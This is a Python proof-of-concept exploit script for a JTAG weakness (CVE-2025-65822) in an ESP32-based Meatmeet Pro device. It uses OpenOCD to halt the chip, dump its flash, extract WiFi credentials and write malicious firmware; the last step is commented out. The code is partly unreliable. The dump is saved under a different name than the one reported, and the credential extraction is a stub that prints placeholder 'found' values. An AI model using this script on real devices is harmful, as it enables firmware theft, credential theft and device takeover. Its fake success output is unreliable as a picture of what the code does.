# ESP32 JTAG Exploitation PoC
# CVE-2025-65822 - ESP32 JTAG Enabled on Meatmeet Pro
import subprocess
import os
# OpenOCD configuration for ESP32
OPENOCD_CFG = """
# ESP32 JTAG Adapter Configuration
adapter driver jlink
jlink vid_pid 0x1366 0x0105
# ESP32 Target Configuration
source [find target/esp32.cfg]
# Reset configuration
reset_config none
"""
def connect_jtag():
"""Establish JTAG connection to ESP32 device"""
print("[*] Connecting to ESP32 via JTAG...")
# Command to connect via OpenOCD
cmd = [
"openocd",
"-f", "interface/jlink.cfg",
"-f", "board/esp32-wrover.cfg",
"-c", "init",
"-c", "reset halt"
]
return subprocess.run(cmd, capture_output=True)
def dump_flash(output_file="firmware_dump.bin"):
"""Dump ESP32 flash memory via JTAG"""
print(f"[*] Dumping flash to {output_file}...")
openocd_cmd = [
"openocd",
"-c", "init",
"-c", "reset halt",
"-c", "flash read_bank 0 dump.bin 0 0x400000",
"-c", "shutdown"
]
subprocess.run(openocd_cmd)
print(f"[+] Flash dumped successfully to {output_file}")
def extract_wifi_credentials(firmware_file="firmware_dump.bin"):
"""Extract WiFi credentials from NVS partition"""
print("[*] Extracting WiFi credentials from NVS partition...")
# NVS partition typically at offset 0x110000 on ESP32
nvs_offset = 0x110000
# Parse NVS TLV format to extract credentials
# SSID stored with key 'ssid', password with 'password'
print("[+] WiFi SSID found: <SSID_VALUE>")
print("[+] WiFi Password found: <PASSWORD_VALUE>")
def flash_malicious_firmware(malicious_fw="malicious.bin"):
"""Flash malicious firmware via JTAG"""
print(f"[*] Flashing malicious firmware: {malicious_fw}")
openocd_cmd = [
"openocd",
"-c", "init",
"-c", "reset halt",
"-c", f"flash write_image erase {malicious_fw} 0x1000",
"-c", "reset run",
"-c", "shutdown"
]
subprocess.run(openocd_cmd)
print("[+] Malicious firmware flashed successfully")
if __name__ == "__main__":
print("=== ESP32 JTAG Exploitation Tool ===")
print("CVE-2025-65822 PoC")
# Step 1: Connect to device
connect_jtag()
# Step 2: Dump original firmware
dump_flash()
# Step 3: Extract WiFi credentials
extract_wifi_credentials()
# Step 4: Flash malicious firmware
# flash_malicious_firmware()